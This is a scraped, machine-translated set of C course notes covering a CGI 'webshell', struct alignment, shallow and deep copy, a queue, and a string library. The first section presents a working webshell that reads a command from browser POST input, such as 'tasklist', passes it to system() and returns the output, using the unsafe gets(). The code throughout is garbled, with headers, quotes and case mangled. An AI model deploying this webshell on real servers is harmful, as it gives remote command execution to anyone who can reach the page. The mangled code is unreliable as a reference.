[C/C ++ school] 0730-website and backdoor/structure alignment, structure interview analysis/deep copy and light copy/queue/string Encapsulation

Source: Internet
Author: User

[C/C ++ school] 0730-website and backdoor/structure alignment, structure interview analysis/deep copy and light copy/queue/string Encapsulation
?? Websites and webshells

 

Install the Apache server software on Windwos for testing. Localhost

 

Change the executable program xxx.exe to xxx. cgi and place it on the apache server for access through a browser.

 

# Define _ CRT_SECURE_NO_WARNINGS # include
 
  
# Include
  
   
# Include
   
    
Void main () {printf (Content-type: text/html); printf (% s, getenv (QUERY_STRING )); // print the environment variable char szPost [256] = {0}; gets (szPost); // obtain the input printf (% s, szPost ); // obtain the input // BBB = tasklist & AAA = % C7 % EB % BD % F8char * p = szPost + 4; //, 2, 3 char * p1 = strchr (szPost, '&'); * p1 = ''; char cmd [256] = {0}; sprintf (cmd, % s> 1.txt, p ); // string ing system (cmd); FILE * pf = fopen(1.txt, r); while (! Feof (pf) // if the end of the file is not reached, continue {char ch = fgetc (pf); if (ch = '') {printf (); // line feed} else {putchar (ch); // print character }}}
   
  
 

 

 

Structure alignment, structure interview analysis

 

# Include
 
  
# Include
  
   
// The widest basic Member, char, int, double, and struct array are not the widest basic member. // The struct size must be divisible by the widest basic member, it is an integer multiple of the widest basic member. // The struct Member Address minus the first address of the struct, which is the offset. The offset must be able to remove the basic type of the member, struct info {char c; // 1 2 4 8 double sh; // 1 2 4 8 char ch [9]; // 9 10 12 16}; struct info1 {short sh1; // 8 4 // 2int sh; // 8 4 // 4 char ch [19]; // 16 20 // 19}; void main2 () {struct info1 info11 ={ 10,200,123 456}; printf (% p, & info11); printf (% p, & info11.sh1); printf (% p, & info11.sh ); printf (% p, & info11.ch); getchar ();} void main1 () {printf (% d, sizeof (struct info1); system (pause );}
  
 

 

 

Deep copy and light copy

 

# Define _ CRT_SECURE_NO_WARNINGS # include
 
  
# Include
  
   
# Include
   
    
Struct string {char * p; int length ;}; void main11 () {struct string str1; str1.length = 10; str1.p = (char *) malloc (sizeof (char) * 10); strcpy (str1.p, hello); printf (str1.p = % s, str1.p); // output result struct string str2; str2.length = str1.length; str2.p = str1.p; * (str1.p) = 'K'; // light copy, shared memory printf (str2.p = % s, str2.p); // output result system (pause);} void main123 () {struct string str1; str1.length = 10; str1.p = (char *) malloc (sizeof (char) * 10); strcpy (str1.p, hello); printf (str1.p = % s, str1.p); // output result struct string str2; str2.length = str1.length; str2.p = (char *) malloc (sizeof (char) * 10); strcpy (str2.p, str1.p ); // copy the memory content * (str1.p) = 'K'; // The deep copy operation copies the memory content. printf (str2.p = % s, str2.p ); // output result system (pause );}
   
  
 

 

 

Queue

// Queue. h

 

 

# Include
 
  
# Include
  
   
# Define N 100 // defines the maximum number of queues # define datatype char // defines the data type of the queue struct queue {datatype data [N]; // an array of int front stores data; // start with the data, pull the int rear; // end of the data, eat in}; typedef struct queue Q; // simplify void init (Q * myqueue) for existing types; // initialize the queue int isempty (Q * myqueue); // determine whether the queue is empty. 1 indicates that the queue is empty, 0 indicates that void enQueue (Q * myqueue, datatype num) is not empty; // enter the queue and eat datatype DeQueue (Q * myqueue); // exit the queue, pull the shit, the returned value is the pulled void printfQ (Q * myqueue); // print all the elements of the queue datatype gethead (Q * myqueue); // obtain a node starting
  
 

 

 

// Queue. c

 

# Include queue. hvoid init (Q * myqueue) // initialize the queue {myqueue-> front = myqueue-> rear = 0; // indicates null} int isempty (Q * myqueue) // judge to be empty {if (myqueue-> front = myqueue-> rear) {return 1;} else {return 0 ;}} void enQueue (Q * myqueue, datatype num) {if (myqueue-> rear = N) {printf (failed to eat); return; // Failed} else {myqueue-> data [myqueue-> rear] = num; // value myqueue-> rear + = 1; // Add one} datatype DeQueue (Q * myqueue) // pull the process {if (myqueue-> front = myqueue-> rear) {printf (pull failure ); return-1;} else {myqueue-> front + = 1; // pull shit return myqueue-> data [myqueue-> front-1]; // return the file you pulled} void printfQ (Q * myqueue) // print all elements of the queue {printf (); if (myqueue-> front = myqueue-> rear) {printf (your stomach is empty);} else {for (int I = myqueue-> front; I <myqueue-> rear; I ++) {printf (% c, myqueue-> data [I]); // display your gastrointestinal} datatype gethead (Q * myqueue) {if (myqueue-> front = myqueue-> rear) {printf (the intestines and stomach are empty, so you cannot find the ones you want to pull first); return-1;} else {return myqueue-> data [myqueue-> front]; // return the first node }}

 

 

// Main. c

 

# Include
 
  
# Include
  
   
# Include queue. hvoid main () {Q Q1; // create A struct variable init (& Q1); // initialize enQueue (& Q1, 'A'); printfQ (& Q1 ); enQueue (& Q1, 'B'); printfQ (& Q1); enQueue (& Q1, 'C'); printfQ (& Q1); enQueue (& Q1, 'D'); printfQ (& Q1); enQueue (& Q1, 'E'); printfQ (& Q1); DeQueue (& Q1); printfQ (& Q1 ); deQueue (& Q1); printfQ (& Q1); DeQueue (& Q1); printfQ (& Q1); DeQueue (& Q1); printfQ (& Q1 ); deQueue (& Q1); printfQ (& Q1); DeQueue (& Q1); printfQ (& Q1); system (pause );}
  
 

 

 

 

 

String Encapsulation

// String. h

 

 

# Define _ CRT_SECURE_NO_WARNINGS # include
 
  
# Include
  
   
# Include
   
    
// String encapsulation, database function required // database function struct CString {char * p; // Save the string's first address int reallength; // actual length }; typedef struct CString mystring; // abbreviation // string, initialization, printing, // search, search for characters, search for strings // Add at the end, (character, string) // Delete (character, string), // Add (character, string) at any position // modify the string, (character, string replacement) void init (mystring * string ); // initialize void initwithlength (mystring * string, int length) without the original seal; // open the length and clear void initwithstring (mystring * string, char * copystring) in the memory ); // initialize and copy the string void printfstring (mystring * string); // print void backaddchar (mystring * string, char ch); // Add the character void backaddstring (mystring * string, char * str); // Add the string void run (mystring * string); // execute the command char * findfirstchar (mystring * string, char ch ); // return the address char * findfirststring (mystring * string, char * str) of the first character found; // return the address int deletefirstchar (mystring * string, const char ch); // Delete the first found character int deletefirststring (mystring * string, char * const str ); // Delete the first string void addchar (mystring * string, char ch, char * pos); // Add the void addstring (mystring * string, char * str, char * pos); // any added string void changefirstchar (mystring * string, const char oldchar, const newchar); // change the character void changefirststring (mystring * string, char * const oldstring, char * const newstring); // change the string
   
  
 

 

 

// String. c

 

# Include string. hint mystrlen (char * p) {if (p = NULL) {return-1; // failed,} int length = 0; while (* p! = '') // String termination condition {length ++; // length auto-increment p ++; // pointer continuously forward} return length ;} char * mystrcpy (char * dest, const char * source) // The const limit is not accidentally modified {if (dest = NULL | source = NULL) {return NULL; // It is null and there is no need to work} char * destbak = dest; while (* source! = '') // Keep copying {* dest = * source; // assign a value to the character source ++; dest ++; // the pointer keeps moving forward, character assignment} * dest = ''; // return destbak; // return address} char * mystrcat (char * dest, const char * source) {if (dest = NULL | source = NULL) {return NULL; // Failed} else {char * destbak = dest; // reserved address while (* dest! = '') {Dest ++; // move the Pointer Forward} // copy the while (* source! = '') // The {* dest = * source; // The string value is dest ++; source ++;} * dest = ''; // return destbak;} char * mystrchr (const char * dest, const char ch) {if (dest = NULL) {return NULL;} while (* dest! = '') {If (* dest = ch) {return dest; // find the return address} dest ++;} return NULL; // return} char * mystrstr (const char * const dest, const char * const findstr) {if (dest = NULL | findstr = NULL) {return NULL ;} char * destbak = dest; char * p = NULL; // Save the found address while (* destbak! = '') {Int flag = 1; // assume it is equal to char * findstrbak = findstr; char * nowdestbak = destbak; while (* findstrbak! = '') {If (* nowdestbak! = '') {If (* findstrbak! = * Nowdestbak) // there is an unequal {flag = 0; // a value of 0 indicates an unequal value} nowdestbak ++; findstrbak ++;} else {flag = 0; // set the flag break; }}if (flag = 1) {p = destbak; // return p;} destbak ++;} return NULL ;} void init (mystring * string) {string-> p = NULL; string-> reallength = 0; // initialize struct string} void initwithlength (mystring * string, int length) {// string-> p = (char *) malloc (sizeof (char) * length); // allocate memory string-> p = (char *) calloc (length, sizeof (char ));/ /Allocate memory and clear string-> reallength = length; // length} void initwithstring (mystring * string, char * copystring) {int length = strlen (copystring ); // obtain the string length string-> p = (char *) calloc (length + 1, sizeof (char); // allocate the memory mystrcpy (string-> p, copystring ); // copy string-> reallength = length + 1; // set length} void backaddchar (mystring * string, char ch) {if (mystrlen (string-> p) + 1 = string-> reallength) // indicates that the memory is full {// re-allocated string-> p = realloc (String-> p, string-> reallength + 1); string-> reallength + = 1; string-> p [string-> reallength-2] = ch; string-> p [string-> reallength-1] = '';} else {int nowlength = mystrlen (string-> p ); // obtain the current length string-> p [nowlength] = ch; string-> p [nowlength + 1] = ''; // Add character} void backaddstring (mystring * string, char * str) {int nowmystringlength = mystrlen (string-> p ); // get the current length int addstringlength = mystrlen (str); // The length to be added if (n Owmystringlength + addstringlength + 1> string-> reallength) // determine whether to cross the border {int needaddlength = nowmystringlength + addstringlength + 1-(string-> reallength); // printf (% d, needaddlength); string-> p = (char *) realloc (string-> p, string-> reallength + needaddlength); // Add the string length mystrcat (string-> p, str); // copy the string-> reallength + = needaddlength; // increase the length} else {mystrcat (string-> p, str ); // copy string} void printfstring (mystrin G * string) {printf (string = % s, string-> p); // print string} void run (mystring * string) {system (string-> p ); // Execute Command} char * findfirstchar (mystring * string, char ch) {char * p = mystrchr (string-> p, ch); // find return p ;} char * findfirststring (mystring * string, char * str) {char * pres = mystrstr (string-> p, str); return pres; // return address} int deletefirstchar (mystring * string, const char ch) {char * p = mystrchr (string-> p, ch); // query if (P = NULL) {return 0;} else {char * pnext = p + 1; while (* pnext! = '') {* P = * pnext; // Delete the entire forward of a character p ++; pnext ++;} * p = ''; // return 1;} int deletefirststring (mystring * string, char * const str) {char * pres = mystrstr (string-> p, str ); // query if (pres = NULL) {return 0;} else {int length = mystrlen (str); // evaluate the string length char * pnext = pres + length; // The next character while (* pnext! = '') {* Pres = * pnext; // Delete the pres ++; pnext ++;} * pres = ''; // return 1;} void addchar (mystring * string, char ch, char * pos) {if (pos = NULL | string = NULL) {return;} if (mystrlen (string-> p) + 1 = string-> reallength) // indicates that the memory is full {// re-allocated string-> p = realloc (string-> p, string-> reallength + 1); string-> reallength + = 1; int nowlength = mystrlen (string-> p); // obtain the current length int movelength = mystrlen (pos); // obtain the current length Length to be moved for (int I = nowlength; I> nowlength-movelength; I --) // move {string-> p [I] = string-> p [I-1]; // round-robin} string-> p [nowlength-movelength] = ch; // insert string-> p [nowlength + 1] = ''; // end} else {int nowlength = mystrlen (string-> p ); // obtain the current length int movelength = mystrlen (pos); // obtain the length to be moved now for (int I = nowlength; I> nowlength-movelength; I --) // move {string-> p [I] = string-> p [I-1]; // round-robin} string-> p [nowlength-moveleng Th] = ch; // insert string-> p [nowlength + 1] = ''; // end} void addstring (mystring * string, char * str, char * pos) // Add any string {if (pos = NULL | string = NULL) {return;} int nowmystringlength = mystrlen (string-> p ); // obtain the current length int addstringlength = mystrlen (str); // if (nowmystringlength + addstringlength + 1> string-> reallength) // determine whether to cross-border {int needaddlength = nowmystringlength + addstringlength + 1-(string-> realle Ngth); // printf (% d, needaddlength); string-> p = (char *) realloc (string-> p, string-> reallength + needaddlength ); // increase the string length string-> reallength + = needaddlength; // increase the length. // move the string first, and then copy int nowlength = mystrlen (string-> p ); // obtain the current length int movelength = mystrlen (pos); // obtain the length int insertlength = strlen (str) to be moved ); // The insert length is required for (int I = nowlength; I >= nowlength-movelength; I --) {string-> p [I + insertlength] = string-> p [I]; // move the character} For (int j = 0; j <insertlength; j ++) {string-> p [nowlength-movelength + j] = str [j]; // assign value copy} else {int nowlength = mystrlen (string-> p); // obtain the current length int movelength = mystrlen (pos ); // find the length to be moved now int insertlength = strlen (str); // The length of the inserted for (int I = nowlength; I >= nowlength-movelength; I --) {string-> p [I + insertlength] = string-> p [I]; // character movement} for (int j = 0; j <insertlength; j ++) {string-> p [nowlength-movelengt H + j] = str [j]; // value assignment copy }}} void changefirstchar (mystring * string, const char oldchar, const newchar) // change the character {char * pstr = string-> p; while (* pstr! = '') {If (* pstr = oldchar) // find {* pstr = newchar; // assign a value to return;} pstr ++ ;}} void changefirststring (mystring * string, char * const oldstring, char * const newstring) // change the string {char * pfind = findfirststring (string, oldstring ); // locate the position if (pfind! = NULL) {deletefirststring (string, oldstring); // Delete addstring (string, newstring, pfind); // insert }}

// Main. c

 

# Include
 
  
# Include
  
   
# Include string. hvoid main () {mystring string1; initwithstring (& string1, note); printfstring (& string1); // backaddchar (& string1, 'D'); backaddstring (& string1, padnotepadnotepad); printfstring (& string1); while (findfirststring (& string1, notepad) {changefirststring (& string1, notepad, 123456789 );} // char * p = findfirstchar (& string1, 'T'); // if (p! = NULL) // {// addstring (& string1, 12345, p); // deletefirstchar (& string1, 'E'); // deletefirststring (& string1, pad); // char * strp = findfirstchar (& string1, 'A'); // * strp = 'a';/* char * strp = findfirststring (& string1, ada); if (strp! = NULL) {* strp = 'X';} */printfstring (& string1); // run (& string1); system (pause );}
  
 



 

 

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.